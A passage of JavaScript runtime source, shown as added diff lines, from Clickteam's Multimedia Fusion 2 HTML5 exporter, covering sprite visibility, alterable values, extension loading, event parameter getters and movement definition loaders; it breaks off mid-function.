+ obHide: function ()
+ {
+ if ((this.rsFlags & CRSpr.RSFLAG_HIDDEN) == 0)
+ {
+ this.rsFlags |= CRSpr.RSFLAG_HIDDEN;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.hideSprite();
+ }
+ },
+
+ obShow: function ()
+ {
+ if ((this.rsFlags & CRSpr.RSFLAG_HIDDEN) != 0)
+ {
+ var pLayer = this.hoPtr.hoAdRunHeader.rhFrame.layers[this.hoPtr.hoLayer];
+ if ((pLayer.dwOptions & (CLayer.FLOPT_TOHIDE | CLayer.FLOPT_VISIBLE)) == CLayer.FLOPT_VISIBLE)
+ {
+ this.rsFlags &= ~CRSpr.RSFLAG_HIDDEN;
+ this.hoPtr.hoFlags &= ~CObject.HOF_NOCOLLISION;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.showSprite();
+ }
+ }
+ },
+
+ setSemiTransparency: function (trans)
+ {
+ if (trans >= 0 && trans <= 128)
+ {
+ this.rsTransparency = trans;
+ this.hoPtr.setTransparency(trans);
+ }
+ },
+
+ getSemiTransparency: function ()
+ {
+ return this.rsTransparency;
+ },
+
+ setColFlag: function (flag)
+ {
+ if (flag)
+ {
+ this.rsFlags |= CRSpr.RSFLAG_RAMBO;
+ }
+ else
+ {
+ this.rsFlags &= ~CRSpr.RSFLAG_RAMBO;
+ }
+ },
+
+ modifSpriteEffect: function (effect, effectParam)
+ {
+ this.rsEffect = effect;
+ this.rsEffectParam = effectParam;
+ }
+
+ }
+ // CDefStrings object
+ // --------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ function CDefStrings()
+ {
+ this.nStrings = 0;
+ this.strings = null;
+ }
+ CDefStrings.prototype =
+ {
+ load: function (file)
+ {
+ this.nStrings = file.readAShort();
+ this.strings = new Array(this.nStrings);
+ var n;
+ for (n = 0; n < this.nStrings; n++)
+ {
+ this.strings[n] = file.readAString();
+ }
+ }
+ }
+
+ // CDefValues object
+ // --------------------------------------------------------------
+ function CDefValues()
+ {
+ this.nValues = 0;
+ this.values = null;
+ this.flags = 0;
+ }
+ CDefValues.prototype =
+ {
+ load: function (file, initFlags)
+ {
+ this.nValues = file.readAShort();
+ this.values = new Array(this.nValues);
+ var n;
+ for (n = 0; n < this.nValues; n++)
+ {
+ this.values[n] = file.readAInt();
+ }
+ if (initFlags)
+ this.flags = file.readAInt();
+ }
+ }
+
+ // CRVal object
+ // --------------------------------------------------------------
+ CRVal.VALUES_NUMBEROF_ALTERABLE = 26;
+ CRVal.STRINGS_NUMBEROF_ALTERABLE = 10;
+ function CRVal()
+ {
+ this.rvValueFlags = 0;
+ this.rvValues = null;
+ this.rvStrings = null;
+ }
+ CRVal.prototype =
+ {
+ init: function (ho, ocPtr, cob)
+ {
+ this.rvValueFlags = 0;
+ this.rvValues = new Array(CRVal.VALUES_NUMBEROF_ALTERABLE);
+ this.rvStrings = new Array(CRVal.STRINGS_NUMBEROF_ALTERABLE);
+ var n;
+ for (n = 0; n < this.rvValues.length; n++)
+ this.rvValues[n] = 0;
+ for (n = 0; n < this.rvStrings.length; n++)
+ this.rvStrings[n] = "";
+
+ if (ocPtr.ocValues != null)
+ {
+ this.rvValueFlags = ocPtr.ocValues.flags;
+ for (n = 0; n < ocPtr.ocValues.nValues; n++)
+ this.rvValues[n] = ocPtr.ocValues.values[n];
+ }
+ if (ocPtr.ocStrings != null)
+ {
+ for (n = 0; n < ocPtr.ocStrings.nStrings; n++)
+ this.rvStrings[n] = ocPtr.ocStrings.strings[n];
+ }
+ },
+ kill: function (bFast)
+ {
+ var n;
+ for (n = 0; n < this.rvValues.length; n++)
+ this.rvValues[n] = 0;
+ for (n = 0; n < this.rvStrings.length; n++)
+ this.rvStrings[n] = null;
+ },
+ getValue: function (n)
+ {
+ if (n < this.rvValues.length)
+ return this.rvValues[n];
+ return 0;
+ },
+ getString: function (n)
+ {
+ if (n < this.rvStrings.length)
+ return this.rvStrings[n];
+ return "";
+ },
+ setString: function (n, s)
+ {
+ if (n > this.rov.rvStrings.length)
+ this.growStrings(n + 10);
+ this.rvStrings[n] = s;
+ },
+ setValue: function (n, v)
+ {
+ if (n > this.rov.rvValues.length)
+ this.growValues(n + 10);
+ this.rvValues[n] = v;
+ },
+ growValues: function(num)
+ {
+ if (num >= this.rvValues.length)
+ {
+ var n;
+ for (n = 0; n < num; n++)
+ this.rvValues[n] = 0;
+ }
+ },
+ growStrings: function(num)
+ {
+ if (num >= this.rvStrings.length)
+ {
+ var n;
+ for (n = 0; n < num; n++)
+ this.rvStrings[n] = "";
+ }
+ }
+ }
+
+
+ // CEXTLOADER extension loading
+ //----------------------------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CExtLoader.KPX_BASE = 32;
+ function CExtLoader(a)
+ {
+ this.app = a;
+ this.extensions = null;
+ this.numOfConditions = 0;
+ }
+
+ CExtLoader.prototype =
+ {
+
+ createList: function (file) {
+
+ var extMaxHandle = 2;
+ if (extMaxHandle) {
+ this.extensions = new Array(extMaxHandle);
+ this.numOfConditions = new Array(extMaxHandle);
+ var n;
+ for (n = 0; n < extMaxHandle; n++) {
+ this.extensions[n] = null;
+ this.numOfConditions[n] = 0;
+ }
+
+ var e;
+ // START_ADDEXT
+ e = new CExtLoad();
+ e.handle = 0;
+ this.addExt(e);
+ // INCLUDE_ADDEXT
+ }
+ },
+
+ addExt: function (e)
+ {
+ var ext = e.loadRunObject();
+ if (ext != null) {
+ this.extensions[e.handle] = e;
+ this.numOfConditions[e.handle] = ext.getNumberOfConditions();
+ }
+ },
+
+ loadRunObject: function (type)
+ {
+ type -= CExtLoader.KPX_BASE;
+ var ext = null;
+ if (type < this.extensions.length && this.extensions[type] != null)
+ {
+ ext = this.extensions[type].loadRunObject();
+ }
+ return ext;
+ },
+
+ getNumberOfConditions: function (type)
+ {
+ type -= CExtLoader.KPX_BASE;
+ if (type < this.extensions.length)
+ {
+ return this.numOfConditions[type];
+ }
+ return 0;
+ }
+ }
+
+ //----------------------------------------------------------------------------------
+ //
+ // CEXTLOADER: Chargement des extensions
+ //
+ //----------------------------------------------------------------------------------
+ function CExtLoad()
+ {
+ this.handle = 0;
+ }
+
+ CExtLoad.prototype =
+ {
+
+ loadRunObject: function ()
+ {
+ switch (this.handle) {
+ // START_NEWEXT
+ case 0:
+ return new CRunkcini();
+ // INCLUDE_NEWEXT
+ }
+
+
+ return null;
+ /*
+ if (document.debug==undefined)
+ {
+ var type = CExtLoad.types[this.name];
+ if (type)
+ return new type;
+ }
+ else
+ return new window['CRun' + this.name];
+ */
+ }
+ }
+
+ // CRUNEXTENSION Object
+ //----------------------------------------------------------------------------------
+ CRunExtension.REFLAG_DISPLAY = 1;
+ CRunExtension.REFLAG_ONESHOT = 2;
+ function CRunExtension()
+ {
+ this.ho = null;
+ this.rh = null;
+ }
+ CRunExtension.prototype =
+ {
+ init: function (hoPtr)
+ {
+ this.ho = hoPtr;
+ this.rh = hoPtr.hoAdRunHeader;
+ },
+
+ getNumberOfConditions: function ()
+ {
+ return 0;
+ },
+
+ createRunObject: function (file, cob, version)
+ {
+ return false;
+ },
+
+ handleRunObject: function ()
+ {
+ return CRunExtension.REFLAG_ONESHOT;
+ },
+
+ displayRunObject: function (context, xDraw, yDraw)
+ {
+ },
+
+ destroyRunObject: function (bFast)
+ {
+ },
+ createFont: function ()
+ {
+ },
+ pauseRunObject: function ()
+ {
+ },
+
+ continueRunObject: function ()
+ {
+ },
+
+ getZoneInfos: function ()
+ {
+ },
+
+ condition: function (num, cnd)
+ {
+ return false;
+ },
+
+ action: function (num, act)
+ {
+ },
+
+ expression: function (num)
+ {
+ return null;
+ },
+
+ getRunObjectCollisionMask: function (flags)
+ {
+ return null;
+ },
+
+ getRunObjectFont: function ()
+ {
+ return null;
+ },
+
+ setRunObjectFont: function (fi, rc)
+ {
+ },
+
+ getRunObjectTextColor: function ()
+ {
+ return 0;
+ },
+
+ setRunObjectTextColor: function (rgb)
+ {
+ },
+
+ autoResize: function ()
+ {
+ },
+
+ forcePosition: function ()
+ {
+ }
+ }
+
+ // CEXPEXTENSION : expressions extension
+ // -----------------------------------------------------------------------------
+ function CExpExtension()
+ {
+ }
+ CExpExtension.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var exp = (this.code >> 16) - CEventProgram.EVENTS_EXTBASE; // Vire le type
+ rhPtr.currentPtr = this;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.expression(exp);
+ }
+ }
+
+ // CACTEXTENSION : actions extension
+ // -----------------------------------------------------------------------------
+
+ function CActExtension()
+ {
+ }
+ CActExtension.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var act = (this.evtCode >>> 16) - CEventProgram.EVENTS_EXTBASE;
+ rhPtr.currentPtr = this;
+ pHo.action(act, this);
+ },
+
+ getParamObject: function (rhPtr, num)
+ {
+ return rhPtr.rhEvtProg.get_ParamActionObjects(this.evtParams[num].oiList, this);
+ },
+
+ getParamBorder: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamShort: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamAltValue: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamDirection: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamEffect: function (rhPtr, num)
+ {
+ return this.evtParams[num].string;
+ },
+
+ getParamCreate: function (rhPtr, num)
+ {
+ return this.evtParams[num];
+ },
+
+ getParamAnimation: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 10)
+ {
+ return this.evtParams[num].value;
+ }
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamPlayer: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamEvery: function (rhPtr, num)
+ {
+ return this.evtParams[num].delay;
+ },
+
+ getParamKey: function (rhPtr, num)
+ {
+ return this.evtParams[num].key;
+ },
+
+ getParamSpeed: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamPosition: function (rhPtr, num)
+ {
+ var position = this.evtParams[num];
+ var pInfo = new CPositionInfo();
+ if (position.read_Position(rhPtr, 0, pInfo))
+ pInfo.found = true;
+ return pInfo;
+ },
+
+ getParamJoyDirection: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamShoot: function (rhPtr, num)
+ {
+ return this.evtParams[num];
+ },
+
+ getParamZone: function (rhPtr, num)
+ {
+ return this.evtParams[num];
+ },
+
+ getParamExpression: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamColour: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 24)
+ {
+ return this.evtParams[num].color;
+ }
+ return CServices.swapRGB(rhPtr.get_EventExpressionInt(this.evtParams[num]));
+ },
+
+ getParamFrame: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamNewDirection: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 29)
+ {
+ return this.evtParams[num].value;
+ }
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamClick: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamExpString: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionString(this.evtParams[num]);
+ },
+
+ getParamFilename: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 40)
+ {
+ return this.evtParams[num].string;
+ }
+ return rhPtr.get_EventExpressionString(this.evtParams[num]);
+ },
+
+ getParamExpDouble: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionAny(this.evtParams[num]);
+ },
+
+ getParamFilename2: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 63)
+ {
+ return this.evtParams[num].string;
+ }
+ return rhPtr.get_EventExpressionString(this.evtParams[num]);
+ },
+
+ getParamExtension: function (rhPtr, num)
+ {
+ var p = this.evtParams[num];
+ if (p.data != 0)
+ {
+ return rhPtr.rhApp.file.createFromFile(p.data);
+ }
+ return null;
+ },
+
+ getParamTime: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 2)
+ {
+ return this.evtParams[num].timer;
+ }
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ }
+ }
+
+ // EXTENSION conditions
+ // ------------------------------------------------------------------------------
+ function CCndExtension()
+ {
+ }
+ CCndExtension.prototype =
+ {
+ eva1: function (rhPtr, pHo)
+ {
+ if (pHo == null)
+ return this.eva2(rhPtr);
+
+ pHo.hoFlags |= CObject.HOF_TRUEEVENT;
+ var cond = -(this.evtCode >> 16) - CEventProgram.EVENTS_EXTBASE - 1;
+ rhPtr.currentPtr = this;
+ if (pHo.condition(cond, this))
+ {
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+ return true;
+ }
+ return false;
+ },
+
+ eva2: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ var cond = -(this.evtCode >> 16) - CEventProgram.EVENTS_EXTBASE - 1;
+
+ rhPtr.currentPtr = this;
+ while (pHo != null)
+ {
+ pHo.hoFlags &= ~CObject.HOF_TRUEEVENT;
+ if (pHo.condition(cond, this))
+ {
+ if ((this.evtFlags2 & CEvent.EVFLAG2_NOT) != 0)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ else
+ {
+ if ((this.evtFlags2 & CEvent.EVFLAG2_NOT) == 0)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ }
+ if (cpt != 0)
+ return true;
+ return false;
+ },
+
+ getParamObject: function (rhPtr, num)
+ {
+ return this.evtParams[num];
+ },
+
+ getParamTime: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 2)
+ {
+ return this.evtParams[num].timer;
+ }
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamBorder: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamAltValue: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamDirection: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamAnimation: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 10)
+ {
+ return this.evtParams[num].value;
+ }
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamPlayer: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamEvery: function (rhPtr, num)
+ {
+ return this.evtParams[num].delay;
+ },
+
+ getParamKey: function (rhPtr, num)
+ {
+ return this.evtParams[num].key;
+ },
+
+ getParamSpeed: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamPosition: function (rhPtr, num)
+ {
+ //return this.evtParams[num];
+ var position = this.evtParams[num];
+ var pInfo = new CPositionInfo();
+ if (position.read_Position(rhPtr, 0, pInfo))
+ pInfo.found = true;
+ return pInfo;
+ },
+
+ getParamJoyDirection: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamExpression: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamColour: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 24)
+ {
+ return this.evtParams[num].color;
+ }
+ return CServices.swapRGB(rhPtr.get_EventExpressionInt(this.evtParams[num]));
+ },
+
+ getParamFrame: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamNewDirection: function (rhPtr, num)
+ {
+ if (this.evtParams[num].code == 29)
+ {
+ return this.evtParams[num].value;
+ }
+ return rhPtr.get_EventExpressionInt(this.evtParams[num]);
+ },
+
+ getParamClick: function (rhPtr, num)
+ {
+ return this.evtParams[num].value;
+ },
+
+ getParamExpString: function (rhPtr, num)
+ {
+ return rhPtr.get_EventExpressionString(this.evtParams[num]);
+ },
+
+ compareValues: function (rhPtr, num, value)
+ {
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[num]);
+ var comp = this.evtParams[num].comparaison;
+ return CRun.compareTo(value, value2, comp);
+ },
+
+ compareTime: function (rhPtr, num, t)
+ {
+ var p = this.evtParams[num];
+ return CRun.compareTo(t, p.timer, p.comparaison);
+ }
+ }
+
+ /* Base for control extensions (James) */
+
+ function CRunControl()
+ {
+ this.element = null;
+ this.controlIgnoreHeight = false;
+ this.bnShownOld = false;
+ };
+
+ CRunControl.prototype = CServices.extend(new CRunExtension(),
+ {
+ forcePosition: function ()
+ {
+ this.setPosition(this.ho.hoX, this.ho.hoY);
+ },
+ autoResize: function ()
+ {
+ this.setPosition(this.ho.hoX, this.ho.hoY);
+ this.setSize(this.ho.hoImgWidth, this.ho.hoImgHeight);
+ },
+ setElement: function (e, visible)
+ {
+ this.element = e;
+
+ e.style.position = 'absolute';
+
+ this.setSize(this.ho.hoImgWidth, this.ho.hoImgHeight);
+ this.setPosition(this.ho.hoX, this.ho.hoY);
+
+ if (this.fontInfo)
+ this.setFont(this.fontInfo);
+
+ this.ho.bShown = visible;
+ this.bShownOld = visible;
+ if (this.rh.rhApp.loading)
+ {
+ e.style.visibility = 'hidden';
+ this.bShownOld = false;
+ }
+ else
+ {
+ if (visible)
+ e.style.visibility = 'visible';
+ else
+ e.style.visibility = 'hidden';
+ }
+
+ var container = this.rh.rhApp.container;
+
+ container.appendChild(e);
+ },
+ getXOffset: function ()
+ {
+ if (this.rh.rhApp.canvas)
+ return this.rh.rhApp.canvas.offsetLeft;
+ return 0;
+ },
+ getYOffset: function ()
+ {
+ if (this.rh.rhApp.canvas)
+ return this.rh.rhApp.canvas.offsetTop;
+ return 0;
+ },
+
+ setX: function (x)
+ {
+ this.ctrlLastX = x;
+
+ this.ho.setX(x);
+
+ if (this.element)
+ this.element.style.left = this.getXOffset() + this.rh.rhApp.xMouseOffset + (this.ho.hoX - this.ho.hoAdRunHeader.rhWindowX) * this.rh.rhApp.scaleX + 'px';
+ },
+
+ setY: function (y)
+ {
+ this.ctrlLastY = y;
+
+ this.ho.setY(y);
+
+ if (this.element)
+ this.element.style.top = this.getYOffset() + this.rh.rhApp.yMouseOffset + (this.ho.hoY - this.ho.hoAdRunHeader.rhWindowY) * this.rh.rhApp.scaleY + 'px';
+ },
+
+ setPosition: function (x, y)
+ {
+ this.ctrlLastX = x;
+ this.ctrlLastY = y;
+
+ this.ho.setPosition(x, y);
+
+ if (this.element)
+ {
+ this.element.style.left = this.getXOffset() + this.rh.rhApp.xMouseOffset + (this.ho.hoX - this.ho.hoAdRunHeader.rhWindowX) * this.rh.rhApp.scaleX + 'px';
+ this.element.style.top = this.getYOffset() + this.rh.rhApp.yMouseOffset + (this.ho.hoY - this.ho.hoAdRunHeader.rhWindowY) * this.rh.rhApp.scaleY + 'px';
+ }
+ },
+
+ setWidth: function (width)
+ {
+ this.ctrlLastWidth = width;
+
+ this.ho.setWidth(width);
+
+ if (this.element)
+ this.element.style.width = this.ho.hoImgWidth * this.rh.rhApp.scaleX + 'px';
+ },
+
+ setHeight: function (height)
+ {
+ this.ctrlLastHeight = height;
+
+ this.ho.setHeight(height);
+
+ if (this.element && !this.controlIgnoreHeight)
+ this.element.style.height = this.ho.hoImgHeight * this.rh.rhApp.scaleY + 'px';
+ },
+
+ setSize: function (width, height)
+ {
+ this.ctrlLastWidth = width;
+ this.ctrlLastHeight = height;
+
+ this.ho.setSize(width, height);
+
+ if (this.element)
+ {
+ this.element.style.width = this.ho.hoImgWidth * this.rh.rhApp.scaleX + 'px';
+ if (!this.controlIgnoreHeight)
+ this.element.style.height = this.ho.hoImgHeight * this.rh.rhApp.scaleY + 'px';
+ }
+ },
+
+ setFont: function (fontInfo)
+ {
+ this.fontInfo = fontInfo;
+
+ if (this.element)
+ this.element.style.font = fontInfo.getFont();
+ },
+
+ destroyRunObject: function ()
+ {
+ if (this.element)
+ {
+ this.rh.rhApp.container.removeChild(this.element);
+ }
+ },
+
+ getRunObjectFont: function ()
+ {
+ return this.fontInfo;
+ },
+
+ setRunObjectFont: function (fontInfo, rc)
+ {
+ this.setFont(fontInfo);
+ },
+
+ handleRunObject: function ()
+ {
+ if (!this.rh.rhApp.loading)
+ {
+ if (this.ho.bShown != this.bShownOld)
+ {
+ this.bShownOld = this.ho.bShown;
+ if (this.ho.bShown)
+ this.element.style.visibility = 'visible';
+ else
+ this.element.style.visibility = 'hidden';
+ }
+ }
+ if (this.ho.hoX != this.ctrlLastX ||
+ this.ho.hoY != this.ctrlLastY)
+ {
+ this.setPosition(this.ho.hoX, this.ho.hoY);
+ }
+
+ if (this.ho.hoImgWidth != this.ctrlLastWidth ||
+ this.ho.hoImgHeight != this.ctrlLastHeight)
+ {
+ this.setSize(this.ho.hoImgWidth, this.ho.hoImgHeight);
+ }
+
+ return 0;
+ }
+ });
+
+ // CMoveDef object
+ // ----------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ CMoveDef.MVTYPE_STATIC = 0;
+ CMoveDef.MVTYPE_MOUSE = 1;
+ CMoveDef.MVTYPE_RACE = 2;
+ CMoveDef.MVTYPE_GENERIC = 3;
+ CMoveDef.MVTYPE_BALL = 4;
+ CMoveDef.MVTYPE_TAPED = 5;
+ CMoveDef.MVTYPE_PLATFORM = 9;
+ CMoveDef.MVTYPE_DISAPPEAR = 11;
+ CMoveDef.MVTYPE_APPEAR = 12;
+ CMoveDef.MVTYPE_BULLET = 13;
+ CMoveDef.MVTYPE_EXT = 14;
+ function CMoveDef()
+ {
+ this.mvType = 100;
+ this.mvControl = 0;
+ this.mvMoveAtStart = 0;
+ this.mvDirAtStart = 0;
+ this.mvOpt = 0;
+ }
+ CMoveDef.prototype =
+ {
+ setData: function (t, c, m, d, mo)
+ {
+ this.mvType = t;
+ this.mvControl = c;
+ this.mvMoveAtStart = m;
+ this.mvDirAtStart = d;
+ this.mvOpt = mo;
+ }
+ }
+
+ // CMoveDefList object
+ // ----------------------------------------------------------------
+ function CMoveDefList()
+ {
+ this.nMovements = 0;
+ this.moveList = null;
+ }
+ CMoveDefList.prototype =
+ {
+ load: function (file)
+ {
+ var debut = file.getFilePointer();
+ this.nMovements = file.readAInt();
+ this.moveList = new Array(this.nMovements);
+ var n;
+ for (n = 0; n < this.nMovements; n++)
+ {
+ file.seek(debut + 4 + 16 * n);
+
+ var moduleNameOffset = file.readAInt();
+ var mvtID = file.readAInt();
+ var dataOffset = file.readAInt();
+ var dataLength = file.readAInt();
+
+ file.seek(debut + dataOffset);
+ var control = file.readAShort();
+ var type = file.readAShort();
+ var move = file.readAByte();
+ var mo = file.readAByte();
+ file.skipBytes(2);
+ var dirAtStart = file.readAInt();
+ switch (type)
+ {
+ case 0:
+ this.moveList[n] = new CMoveDefStatic();
+ break;
+ case 1:
+ this.moveList[n] = new CMoveDefMouse();
+ break;
+ case 2:
+ this.moveList[n] = new CMoveDefRace();
+ break;
+ case 3:
+ this.moveList[n] = new CMoveDefGeneric();
+ break;
+ case 4:
+ this.moveList[n] = new CMoveDefBall();
+ break;
+ case 5:
+ this.moveList[n] = new CMoveDefPath();
+ break;
+ case 9:
+ this.moveList[n] = new CMoveDefPlatform();
+ break;
+ case 14:
+ this.moveList[n] = new CMoveDefExtension();
+ break;
+ }
+ this.moveList[n].setData(type, control, move, dirAtStart, mo);
+ this.moveList[n].load(file, dataLength - 12);
+ if (type == 14)
+ {
+ file.seek(debut + moduleNameOffset);
+ var name = file.readAString();
+ name = name.substring(0, name.length - 4);
+ name = name.toLowerCase();
+ this.moveList[n].setModuleName(name, mvtID);
+ }
+ }
+ }
+ }
+
+ // CMoveDefBall object
+ // ------------------------------------------------------------------
+ function CMoveDefBall()
+ {
+ this.mbSpeed = 0;
+ this.mbBounce = 0;
+ this.mbAngles = 0;
+ this.mbSecurity = 0;
+ this.mbDecelerate = 0;
+ }
+ CMoveDefBall.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ this.mbSpeed = file.readAShort();
+ this.mbBounce = file.readAShort();
+ this.mbAngles = file.readAShort();
+ this.mbSecurity = file.readAShort();
+ this.mbDecelerate = file.readAShort();
+ }
+ });
+
+ // CMoveDefGeneric object
+ // -----------------------------------------------------------------
+ function CMoveDefGeneric()
+ {
+ this.mgSpeed = 0;
+ this.mgAcc = 0;
+ this.mgDec = 0;
+ this.mgBounceMult = 0;
+ this.mgDir = 0;
+ }
+ CMoveDefGeneric.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ this.mgSpeed = file.readAShort();
+ this.mgAcc = file.readAShort();
+ this.mgDec = file.readAShort();
+ this.mgBounceMult = file.readAShort();
+ this.mgDir = file.readAInt();
+ }
+ });
+
+ // CMoveDefMouse object
+ // -----------------------------------------------------------------
+ function CMoveDefMouse()
+ {
+ this.mmDx = 0;
+ this.mmFx = 0;
+ this.mmDy = 0;
+ this.mmFy = 0;
+ this.mmFlags = 0;
+ }
+ CMoveDefMouse.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ this.mmDx = file.readShort();
+ this.mmFx = file.readShort();
+ this.mmDy = file.readShort();
+ this.mmFy = file.readShort();
+ this.mmFlags = file.readAShort();
+ }
+ });
+
+ // CMoveDefPath object
+ // -----------------------------------------------------------------
+ function CMoveDefPath()
+ {
+ this.mtNumber = 0;
+ this.mtMinSpeed = 0;
+ this.mtMaxSpeed = 0;
+ this.mtLoop = 0;
+ this.mtRepos = 0;
+ this.mtReverse = 0;
+ this.steps = null;
+ }
+ CMoveDefPath.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ this.mtNumber = file.readAShort();
+ this.mtMinSpeed = file.readAShort();
+ this.mtMaxSpeed = file.readAShort();
+ this.mtLoop = file.readAByte();
+ this.mtRepos = file.readAByte();
+ this.mtReverse = file.readAByte();
+ file.skipBytes(1);
+
+ this.steps = new Array(this.mtNumber);
+ var n, next;
+ var debut;
+ for (n = 0; n < this.mtNumber; n++)
+ {
+ debut = file.getFilePointer();
+ this.steps[n] = new CPathStep();
+ file.readUnsignedByte();
